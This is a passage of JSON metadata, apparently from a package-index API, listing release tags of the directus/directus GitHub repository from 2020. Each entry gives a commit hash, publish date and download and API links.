y_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.2/manifests"},{"name":"v9.0.0-beta.1","sha":"b59e6953be35245a9e1d358be8e82a7d3298a870","kind":"tag","published_at":"2020-09-18T21:50:41.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.1","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.1/manifests"},{"name":"v9.0.0-beta.0","sha":"2afbdff222a53f6fb25f3f33c1de80c1f112e529","kind":"tag","published_at":"2020-09-18T17:12:09.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-beta.0","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-beta.0/manifests"},{"name":"v9.0.0-alpha.42","sha":"00bb0078971a804287430ecef876b98c32b3fedd","kind":"tag","published_at":"2020-09-18T17:03:50.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.42","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.42/manifests"},{"name":"v9.0.0-alpha.41","sha":"6d88ed8d1ea15355e8066fddd3eec63f223501e3","kind":"tag","published_at":"2020-09-18T17:00:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.41","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.41/manifests"},{"name":"v9.0.0-alpha.40","sha":"8b06e3b9ad137f4bb075cb9c8aa4620ef1488949","kind":"tag","published_at":"2020-09-17T21:39:59.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.40","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.40/manifests"},{"name":"v9.0.0-alpha.39","sha":"4476da28dbbc2824e680137aa28b2b91b5afabec","kind":"tag","published_at":"2020-09-17T21:38:29.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.39","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.39/manifests"},{"name":"v9.0.0-alpha.38","sha":"62e32d86c5994aa51fd30ca370d1b675dffa58dc","kind":"tag","published_at":"2020-09-14T22:25:05.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.38","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.38/manifests"},{"name":"v9.0.0-alpha.37","sha":"ff0a698326127127e23892f84ca64b57cf45a439","kind":"tag","published_at":"2020-09-14T22:23:20.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.37","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.37/manifests"},{"name":"v9.0.0-alpha.36","sha":"f2cfa9d188aefaaf1d5dd2b5de551f3575378f7f","kind":"tag","published_at":"2020-09-14T22:21:17.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.36","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.36/manifests"},{"name":"v9.0.0-alpha.35","sha":"e5b97930dacc0f14d93146a63fc7e1ce37aebbe5","kind":"tag","published_at":"2020-09-14T22:18:39.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.35","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.35/manifests"},{"name":"v9.0.0-alpha.34","sha":"e4f1e921598eda5d8ed380f91d0328ce97a8fd04","kind":"tag","published_at":"2020-09-14T22:16:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.34","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.34/manifests"},{"name":"v9.0.0-alpha.33","sha":"70ae6d63cf345565b8de244bb59d6175465fe1b9","kind":"tag","published_at":"2020-09-04T22:03:48.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.33","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.33/manifests"},{"name":"v9.0.0-alpha.32","sha":"cab4cac71ee0319ec789d9088a86102b26b85d89","kind":"tag","published_at":"2020-09-03T22:56:55.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.32","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.32/manifests"},{"name":"v9.0.0-alpha.31","sha":"a7d3952ec3b812ee1eec2f1c7b9f44186cbe0498","kind":"tag","published_at":"2020-09-03T22:54:12.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.31","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.31/manifests"},{"name":"v9.0.0-y.0","sha":"3395a51f786c82c81ad67d515786da9d18b8a027","kind":"tag","published_at":"2020-09-03T22:53:19.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-y.0","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-y.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-y.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-y.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-y.0/manifests"},{"name":"v9.0.0-alpha.27","sha":"ca6d2c9cf15d5964d4a82592ca44041ad0223c39","kind":"tag","published_at":"2020-09-01T21:14:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.27","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.27/manifests"},{"name":"v9.0.0-alpha.26","sha":"955373fdadf7ec56e7bc21b23258883d083c9ee5","kind":"tag","published_at":"2020-09-01T20:01:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.26","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.26/manifests"},{"name":"v9.0.0-alpha.25","sha":"41d5f131d374e8110fb44e5573223d7c1cdc4d43","kind":"tag","published_at":"2020-08-31T23:39:45.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.25","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.25/manifests"},{"name":"v9.0.0-alpha.24","sha":"c22537b6d0dd7dc6cc651a9200a68f6b060353d4","kind":"tag","published_at":"2020-08-31T23:38:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.24","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.24/manifests"},{"name":"v9.0.0-alpha.23","sha":"1d70b53c303d3de4815472e8e69bf5189c4db0ff","kind":"tag","published_at":"2020-08-31T20:57:05.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.23","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.23/manifests"},{"name":"v9.0.0-alpha.22","sha":"4f081979cec2b0d1ca3d39132667a8ee4988dbcc","kind":"tag","published_at":"2020-08-26T15:54:34.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.22","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.22/manifests"},{"name":"v9.0.0-alpha.21","sha":"8414f257e2a8790a434cd0cace2b0a45fd970570","kind":"tag","published_at":"2020-08-21T23:13:35.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.21","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.21/manifests"},{"name":"v9.0.0-alpha.20","sha":"d9b63f58d6956f6e3205da63c3b49704bc18160e","kind":"tag","published_at":"2020-08-13T21:45:09.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.20","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.20/manifests"},{"name":"v9.0.0-alpha.19","sha":"1675581cf5d5c9b378247fb8134f40b0b5ac362c","kind":"tag","published_at":"2020-08-12T22:58:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.19","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.19/manifests"},{"name":"v9.0.0-alpha.18","sha":"df77b76d3364f7ab67e451cbfaafbcd8ef812717","kind":"tag","published_at":"2020-08-12T22:55:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.18","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.18/manifests"},{"name":"v9.0.0-alpha.17","sha":"68624caa33bbaff0cfedba255444704ac13e8ee8","kind":"tag","published_at":"2020-08-12T22:52:15.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.17","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.17/manifests"},{"name":"v9.0.0-alpha.16","sha":"ec9b9dc1a2cb035f8c3f9e79a5fc5555b9432d2b","kind":"tag","published_at":"2020-08-07T22:01:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.16","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.16/manifests"},{"name":"v9.0.0-alpha.15","sha":"4728e0380b478a8a305a69c50c6eb436fcaa4778","kind":"tag","published_at":"2020-08-07T21:32:28.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.15","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.15/manifests"},{"name":"v9.0.0-alpha.14","sha":"2dfae28b09602098a8bad46757faa13ca5be25f6","kind":"tag","published_at":"2020-08-07T15:10:40.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.14","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.14/manifests"},{"name":"v9.0.0-alpha.13","sha":"562e70b09ac96d56578b2094a26744e125f81eb4","kind":"tag","published_at":"2020-08-07T13:30:22.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.13","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.13/manifests"},{"name":"v9.0.0-alpha.12","sha":"9092740d708c1e9ed1575b0932a01f531d224f77","kind":"tag","published_at":"2020-08-07T13:24:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.12","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.12/manifests"},{"name":"v9.0.0-alpha.11","sha":"19ad9ab29e502e76a94a7d9dffc9ba4ff0f0b182","kind":"tag","published_at":"2020-08-07T13:21:47.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.11","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.11/manifests"},{"name":"v9.0.0-alpha.10","sha":"b6546e6aed2693d83b3de92de505955ea4a4cb84","kind":"tag","published_at":"2020-08-04T17:53:47.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.10","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.10/manifests"},{"name":"v9.0.0-alpha.9","sha":"fdb69f9b7a583434d70d00fc28c11aa76251e768","kind":"tag","published_at":"2020-08-04T17:49:52.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.9","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.9/manifests"},{"name":"v9.0.0-alpha.8","sha":"260b66f57cbd27a002fabaea9b204a76f9c88439","kind":"tag","published_at":"2020-08-03T22:28:12.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.8","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.8/manifests"},{"name":"v9.0.0-alpha.7","sha":"5747fa4b54a066e0084434313b84d574bb20e86a","kind":"tag","published_at":"2020-08-03T22:26:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.7","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.7/manifests"},{"name":"v9.0.0-alpha.6","sha":"20e6f11f50bd5dc39e0f8b3f0c91dbade186d307","kind":"tag","published_at":"2020-08-03T22:23:21.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.6","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.6/manifests"},{"name":"v8.8.1","sha":"5bdfc79eef6a82f8f075af27880f2a5fb85a7bee","kind":"commit","published_at":"2020-08-03T19:49:24.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.8.1","html_url":"https://github.com/directus/directus/releases/tag/v8.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.8.1/manifests"},{"name":"v9.0.0-alpha.5","sha":"e7d4224086498714f1b23fe7372623b35815433d","kind":"tag","published_at":"2020-08-03T14:29:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.5","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.5/manifests"},{"name":"v9.0.0-alpha.4","sha":"807b3e56438e360ce307f6da4200625eed0fb0ef","kind":"tag","published_at":"2020-08-03T14:27:09.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.4","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.4/manifests"},{"name":"v8.8.0","sha":"268a0188ecb4f61ca0b1e6858f442b4a00e6d82b","kind":"commit","published_at":"2020-06-18T14:53:06.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.8.0","html_url":"https://github.com/directus/directus/releases/tag/v8.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.8.0/manifests"},{"name":"v9.0.0-alpha.3","sha":"76521fabfd44d9be9900f677a2daee35a7db5115","kind":"commit","published_at":"2020-06-08T20:43:35.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.3","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-alpha.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.3/manifests"},{"name":"v8.7.2","sha":"21ad245511e7c58806567ccaf78d6befe183e0f1","kind":"commit","published_at":"2020-05-28T22:20:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.7.2","html_url":"https://github.com/directus/directus/releases/tag/v8.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.7.2/manifests"},{"name":"v9.0.0-alpha.2","sha":"5d1faf5e8240a3b2c59a51ce7329aff06a37b69c","kind":"commit","published_at":"2020-05-22T22:41:02.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-alpha.2","html_url":"https://github.com/directus/directus/releases/tag/v9.0